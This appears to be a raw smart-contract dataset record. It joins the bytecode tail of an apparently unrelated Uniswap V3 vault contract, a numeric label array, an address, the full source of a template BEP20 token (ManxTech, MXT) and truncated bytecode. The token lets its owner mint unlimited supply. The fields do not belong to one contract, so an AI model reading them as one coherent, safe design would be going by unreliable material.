7d244f78a3297ea89325f843f87b8b549101615316565b60408051601f19818403018152919052805160209091012092915050565b6000808260020b8460020b8161367157fe5b05905060008460020b12801561369857508260020b8460020b8161369157fe5b0760020b15155b156136a257600019015b90910292915050565b600083156131e157826136bf5750826131e1565b6132038484845b60008080600019858709868602925082811090839003039050806136fc57600084116136f157600080fd5b5082900490506131e1565b80841161370857600080fd5b6000848688096000868103871696879004966002600389028118808a02820302808a02820302808a02820302808a02820302808a02820302808a02909103029181900381900460010186841190950394909402919094039290920491909117919091029150509392505050565b6000818311156137865750816128e3565b50919050565b600080600080600061379d866128e9565b505050509050806001600160801b0316600014156137c9576000806000809450945094509450506137dd565b6137d38682613dcf565b9450945094509450505b9193509193565b6003546000908190600160a01b900460ff16801561391b57604080518082019091526008546001600160801b038082168352600160801b909104166020820152851561385f576138348683613264565b9350613853613842856129e6565b82516001600160801b031690613d69565b6001600160801b031681525b84156138a05761386f8583613264565b925061389161387d846129e6565b60208301516001600160801b031690613d69565b6001600160801b031660208201525b80516008805460208401516001600160801b03908116600160801b029381166fffffffffffffffffffffffffffffffff1990921691909117169190911790556040517f5393ab6ef9bb40d91d1b04bbbeb707fbf3d1eb73f46744e2d179e4996026283f9061391190889088906159b6565b60405180910390a1505b509250929050565b600084158015613931575083155b1561393e57506000613203565b6040805160e0810182526009546001600160801b038082168352600160801b909104166020820152600a546001600160a01b038116928201839052600160a01b8104600290810b810b810b6060840152600160b81b8204810b810b810b6080840152600160d01b8204810b810b900b60a0830152600160e81b900460ff16151560c0820152906000906139d090613144565b825160208401519192506001600160801b0390811691811690871615613b505760006139fb856128e9565b505050509050613a2083896001600160801b03168a84016001600160801b03166136c6565b9250613a4182896001600160801b03168a84016001600160801b03166136c6565b9150613a4c836129e6565b8551036001600160801b03168552613a63826129e6565b6020860180516001600160801b03929003821690819052865160098054600160801b9093029184166fffffffffffffffffffffffffffffffff1990931692909217909216919091179055506040840151600a80546060870151608088015160a089015160c08a01511515600160e81b0260ff60e81b19600292830b62ffffff908116600160d01b0262ffffff60d01b1995850b8216600160b81b0262ffffff60b81b199790950b909116600160a01b0262ffffff60a01b196001600160a01b03909a166001600160a01b031990981697909717989098169590951793909316171693909317169190911790555b600080613b6284848d8d8960006143dc565b915091506000808915613b8b57828c0391506000821215613b81575060015b838d039850613ba3565b838d0391506000821315613b9d575060015b828c0398505b8115613c9057600081613bca5773fffd8963efd1fc6a506488495d951d5263988d25613bd1565b6401000276a45b6003546040517f128acb0800000000000000000000000000000000000000000000000000000000815291925060009182916001600160a01b03169063128acb0890613c2690309088908a9089906004016153bb565b6040805180830381600087803b158015613c3f57600080fd5b505af1158015613c53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613c779190614fe4565b915091508c613c865780613c88565b815b8c039b505050505b5050505050505050949350505050565b6000806000856040015190506000816001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b158015613ce757600080fd5b505afa158015613cfb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613d1f9190615183565b50505050505090506000613d4e82613d3a8a60600151613f9c565b613d478b60800151613f9c565b8a8a6144fa565b9050613d5a88826145be565b90999098509650505050505050565b60008282016001600160801b0380851690821610156131e1576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600080600080613ddf8686614661565b9092509050613df786306001600160801b03806146bc565b90979096509187039450850392509050565b6000613e5e826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661476e9092919063ffffffff16565b805190915015612c5857808060200190516020811015613e7d57600080fd5b5051612c585760405162461bcd60e51b815260040180806020018281038252602a815260200180615ac8602a913960400191505060405180910390fd5b6000828201838110156131e1576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd000000000000000000000000000000000000000000000000000000001790526115a5908590613e09565b60008060008360020b12613fb3578260020b613fbb565b8260020b6000035b9050620d89e8811115614015576040805162461bcd60e51b815260206004820152600160248201527f5400000000000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60006001821661402957600160801b61403b565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff169050600282161561406f576ffff97272373d413259a46990580e213a0260801c5b600482161561408e576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b60088216156140ad576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b60108216156140cc576fffcb9843d60f6159c9db58835c9266440260801c5b60208216156140eb576fff973b41fa98c081472e6896dfb254c00260801c5b604082161561410a576fff2ea16466c96a3843ec78b326b528610260801c5b6080821615614129576ffe5dee046a99a2a811c461f1969c30530260801c5b610100821615614149576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b610200821615614169576ff987a7253ac413176f2b074cf7815e540260801c5b610400821615614189576ff3392b0822b70005940c7a398e4b70f30260801c5b6108008216156141a9576fe7159475a2c29b7443b29c7fa6e889d90260801c5b6110008216156141c9576fd097f3bdfd2022b8845ad8f792aa58250260801c5b6120008216156141e9576fa9f746462d870fdf8a65dc1f90e061e50260801c5b614000821615614209576f70d869a156d2a1b890bb3df62baf32f70260801c5b618000821615614229576f31be135f97d08fd981231505542fcfa60260801c5b6201000082161561424a576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b6202000082161561426a576e5d6af8dedb81196699c329225ee6040260801c5b62040000821615614289576d2216e584f5fa1ea926041bedfe980260801c5b620800008216156142a6576b048a170391f7dc42444e8fa20260801c5b60008460020b13156142c15780600019816142bd57fe5b0490505b6401000000008106156142d55760016142d8565b60005b60ff16602082901c0192505050919050565b600080836001600160a01b0316856001600160a01b0316111561430b579293925b846001600160a01b0316866001600160a01b0316116143365761432f85858561477d565b915061437d565b836001600160a01b0316866001600160a01b0316101561436f5761435b86858561477d565b91506143688587856147e6565b905061437d565b61437a8585856147e6565b90505b94509492505050565b60008060008061439588614829565b915091506143b3868303886001600160801b0316600160801b6136c6565b93506143cf858203886001600160801b0316600160801b6136c6565b9250505094509492505050565b60008060006143ec8989876131e8565b905060006143fb8888886131e8565b905060006144108361141884620186a061320b565b905085801561442d5750600354600160c81b900463ffffffff1681105b156144445750600354600160c81b900463ffffffff165b620186a0811180156144635750600354600160c01b900460ff16606414155b156144cb5760035461449990620186a0906131fd9060649061141890600160c01b900460ff166144938786612ae2565b9061320b565b90506144a98b82620186a06136c6565b94506144c46144bd8689600160601b6136c6565b8390612ae2565b93506144ec565b6144d98b82620186a06136c6565b94506144e98a82620186a06136c6565b93505b505050965096945050505050565b6000836001600160a01b0316856001600160a01b0316111561451a579293925b846001600160a01b0316866001600160a01b0316116145455761453e8585856148b7565b90506145b5565b836001600160a01b0316866001600160a01b031610156145a757600061456c8786866148b7565b9050600061457b87898661491a565b9050806001600160801b0316826001600160801b03161061459c578061459e565b815b925050506145b5565b6145b285858461491a565b90505b95945050505050565b600080600084604001519050806001600160a01b0316633c8a7d8d3087606001518860800151886040518563ffffffff1660e01b815260040161460494939291906153f5565b6040805180830381600087803b15801561461d57600080fd5b505af1158015614631573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906146559190614fe4565b90969095509350505050565b6040808301516060840151608085015192517fa34123a70000000000000000000000000000000000000000000000000000000081526000938493926001600160a01b0384169263a34123a792614604929189906004016154b8565b600080600086604001519050806001600160a01b0316634f1eb3d88789606001518a6080015189896040518663ffffffff1660e01b8152600401614704959493929190615437565b6040805180830381600087803b15801561471d57600080fd5b505af1158015614731573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061475591906150fb565b6001600160801b03918216999116975095505050505050565b60606132038484600085614957565b6000826001600160a01b0316846001600160a01b0316111561479d579192915b836001600160a01b03166147d6606060ff16846001600160801b0316901b8686036001600160a01b0316866001600160a01b03166136c6565b816147dd57fe5b04949350505050565b6000826001600160a01b0316846001600160a01b03161115614806579192915b613203826001600160801b03168585036001600160a01b0316600160601b6136c6565b6040810151600090819081808061483f84614ab2565b925092509250600080614856868a60600151614c27565b91509150886060015160020b8560020b1215614873579083039082035b600080614884888c60800151614c27565b915091508a6080015160020b8760020b126148a0579085039084035b929094039390930396509190030392505050915091565b6000826001600160a01b0316846001600160a01b031611156148d7579192915b60006148fa856001600160a01b0316856001600160a01b0316600160601b6136c6565b90506145b561491584838888036001600160a01b03166136c6565b614cb9565b6000826001600160a01b0316846001600160a01b0316111561493a579192915b61320361491583600160601b8787036001600160a01b03166136c6565b6060824710156149985760405162461bcd60e51b8152600401808060200182810382526026815260200180615a816026913960400191505060405180910390fd5b6149a185614ccf565b6149f2576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b600080866001600160a01b031685876040518082805190602001908083835b60208310614a305780518252601f199092019160209182019101614a11565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114614a92576040519150601f19603f3d011682016040523d82523d6000602084013e614a97565b606091505b5091509150614aa7828286614cd5565b979650505050505050565b600080600080846001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b158015614af157600080fd5b505afa158015614b05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614b299190615183565b50505050509150506000856001600160a01b031663f30583996040518163ffffffff1660e01b815260040160206040518083038186803b158015614b6c57600080fd5b505afa158015614b80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614ba4919061522e565b90506000866001600160a01b031663461413196040518163ffffffff1660e01b815260040160206040518083038186803b158015614be157600080fd5b505afa158015614bf5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614c19919061522e565b929791965091945092505050565b600080836001600160a01b031663f30dba93846040518263ffffffff1660e01b8152600401614c5691906154aa565b6101006040518083038186803b158015614c6f57600080fd5b505afa158015614c83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190614ca79190615058565b50939a92995091975050505050505050565b806001600160801b03811681146129fc57600080fd5b3b151590565b60608315614ce45750816131e1565b825115614cf45782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614d3e578181015183820152602001614d26565b50505050905090810190601f168015614d6b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b60008083601f840112614d8a578182fd5b50813567ffffffffffffffff811115614da1578182fd5b602083019150836020828501011115610df057600080fd5b80516001600160801b03811681146129fc57600080fd5b805161ffff811681146129fc57600080fd5b803562ffffff811681146129fc57600080fd5b600060208284031215614e06578081fd5b81356131e181615a07565b60008060408385031215614e23578081fd5b8235614e2e81615a07565b91506020830135614e3e81615a1c565b809150509250929050565b600080600060608486031215614e5d578081fd5b8335614e6881615a07565b92506020840135614e7881615a2a565b91506040840135614e8881615a2a565b809150509250925092565b600080600080600060a08688031215614eaa578081fd5b8535614eb581615a07565b94506020860135614ec581615a2a565b93506040860135614ed581615a2a565b92506060860135614ee581615a2a565b91506080860135614ef581615a4b565b809150509295509295909350565b60008060008060808587031215614f18578384fd5b8435614f2381615a07565b93506020850135614f3381615a4b565b9250614f4160408601614de2565b91506060850135614f5181615a39565b939692955090935050565b600060208284031215614f6d578081fd5b81516131e181615a1c565b600060208284031215614f89578081fd5b81516131e181615a2a565b60008060008060808587031215614fa9578182fd5b8435614fb481615a2a565b93506020850135614fc481615a2a565b92506040850135614fd481615a2a565b91506060850135614f5181615a4b565b60008060408385031215614ff6578182fd5b505080516020909101519092909150565b6000806000806060858703121561501c578182fd5b8435935060208501359250604085013567ffffffffffffffff811115615040578283fd5b61504c87828801614d79565b95989497509550505050565b600080600080600080600080610100898b031215615074578586fd5b61507d89614db9565b9750602089015180600f0b8114615092578687fd5b80975050604089015195506060890151945060808901518060060b81146150b7578384fd5b60a08a01519094506150c881615a07565b60c08a01519093506150d981615a39565b60e08a01519092506150ea81615a1c565b809150509295985092959890939650565b6000806040838503121561510d578182fd5b61511683614db9565b915061512460208401614db9565b90509250929050565b600080600080600060a08688031215615144578283fd5b61514d86614db9565b9450602086015193506040860151925061516960608701614db9565b915061517760808701614db9565b90509295509295909350565b600080600080600080600060e0888a03121561519d578081fd5b87516151a881615a07565b60208901519097506151b981615a2a565b95506151c760408901614dd0565b94506151d560608901614dd0565b93506151e360808901614dd0565b925060a08801516151f381615a4b565b60c089015190925061520481615a1c565b8091505092959891949750929550565b600060208284031215615225578081fd5b6131e182614de2565b60006020828403121561523f578081fd5b5051919050565b60008060408385031215615258578182fd5b50508035926020909101359150565b60008060006060848603121561527b578081fd5b83359250602084013591506040840135614e8881615a07565b600080600080608085870312156152a9578182fd5b5050823594602084013594506040840135936060013592509050565b6000602082840312156152d6578081fd5b81356131e181615a4b565b60609390931b6bffffffffffffffffffffffff19168352600291820b60e890811b6014850152910b901b6017820152601a0190565b7fff00000000000000000000000000000000000000000000000000000000000000815260609390931b6bffffffffffffffffffffffff191660018401526015830191909152603582015260550190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b03938416815291909216602082015262ffffff909116604082015260600190565b6001600160a01b03948516815292151560208401526040830191909152909116606082015260a06080820181905260009082015260c00190565b6001600160a01b03949094168452600292830b6020850152910b60408301526001600160801b0316606082015260a06080820181905260009082015260c00190565b6001600160a01b03959095168552600293840b60208601529190920b60408401526001600160801b03918216606084015216608082015260a00190565b6001600160a01b039290921682526001600160801b0316602082015260400190565b901515815260200190565b90815260200190565b60029190910b815260200190565b600293840b81529190920b60208201526001600160801b03909116604082015260600190565b60208082526014908201527f5769746864726177205a65726f20536861726521000000000000000000000000604082015260600190565b6020808252600d908201527f77726f6e67206164647265737300000000000000000000000000000000000000604082015260600190565b60208082526011908201527f546f6f204d756368204465706f73697421000000000000000000000000000000604082015260600190565b60208082526002908201527f4f4d000000000000000000000000000000000000000000000000000000000000604082015260600190565b6020808252600d908201527f4465706f736974205a65726f2100000000000000000000000000000000000000604082015260600190565b60208082526014908201527f43414e204e4f54204348414e474520504f4f4c21000000000000000000000000604082015260600190565b6020808252600e908201527f61646420506f6f6c204669727374000000000000000000000000000000000000604082015260600190565b60208082526004908201527f5a65726f00000000000000000000000000000000000000000000000000000000604082015260600190565b6020808252600e908201527f323050657263656e74204d415821000000000000000000000000000000000000604082015260600190565b60208082526013908201527f57726f6e672073616665747920706172616d2100000000000000000000000000604082015260600190565b60208082526009908201527f44494646205449434b0000000000000000000000000000000000000000000000604082015260600190565b6020808252600f908201527f41646420506f6f6c204669727374210000000000000000000000000000000000604082015260600190565b60208082526012908201527f65786365656420746f74616c206c696d69740000000000000000000000000000604082015260600190565b6020808252600c908201527f5a45524f20414444524553530000000000000000000000000000000000000000604082015260600190565b6020808252601b908201527f6f6e6c7920666f7220766572696669656420636f6e7472616374210000000000604082015260600190565b6020808252600b908201527f42616420706172616d7321000000000000000000000000000000000000000000604082015260600190565b60208082526021908201527f706f736974696f6e20697320776f726b696e672c2063616e6e6f7420696e697460408201527f2100000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526009908201527f426164205469636b730000000000000000000000000000000000000000000000604082015260600190565b60208082526002908201527f6172000000000000000000000000000000000000000000000000000000000000604082015260600190565b6020808252600e908201527f57726f6e6720706f6f6c46656521000000000000000000000000000000000000604082015260600190565b6001600160801b0392831681529116602082015260400190565b6001600160801b0397881681529590961660208601526001600160a01b03939093166040850152600291820b6060850152810b60808401520b60a082015290151560c082015260e00190565b918252602082015260400190565b93845260208401929092526040830152606082015260800190565b958652602086019490945260408501929092526060840152608083015260a082015260c00190565b6001600160a01b038116811461192957600080fd5b801515811461192957600080fd5b8060020b811461192957600080fd5b63ffffffff8116811461192957600080fd5b60ff8116811461192957600080fdfe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220d38296fbc8c2294647e9fbd8575d0783fc7b657af3f3f41b75642766b5fe0b9064736f6c63430007060033
[ 4, 7, 9, 12, 16 ]
0xf2ac079169f8a9ea8e7a3aa309926ac0ae2209fb
pragma solidity 0.5.16; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BEP20Token is Context, IBEP20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; constructor() public { _name = "ManxTech"; _symbol = "MXT"; _decimals = 7; _totalSupply = 50000000; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063893d20e811610097578063a457c2d711610066578063a457c2d7146102dd578063a9059cbb14610309578063dd62ed3e14610335578063f2fde38b1461036357610100565b8063893d20e81461028c5780638da5cb5b146102b057806395d89b41146102b8578063a0712d68146102c057610100565b8063313ce567116100d3578063313ce56714610212578063395093511461023057806370a082311461025c578063715018a61461028257610100565b806306fdde0314610105578063095ea7b31461018257806318160ddd146101c257806323b872dd146101dc575b600080fd5b61010d610389565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014757818101518382015260200161012f565b50505050905090810190601f1680156101745780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ae6004803603604081101561019857600080fd5b506001600160a01b03813516906020013561041f565b604080519115158252519081900360200190f35b6101ca61043c565b60408051918252519081900360200190f35b6101ae600480360360608110156101f257600080fd5b506001600160a01b03813581169160208101359091169060400135610442565b61021a6104cf565b6040805160ff9092168252519081900360200190f35b6101ae6004803603604081101561024657600080fd5b506001600160a01b0381351690602001356104d8565b6101ca6004803603602081101561027257600080fd5b50356001600160a01b031661052c565b61028a610547565b005b6102946105fb565b604080516001600160a01b0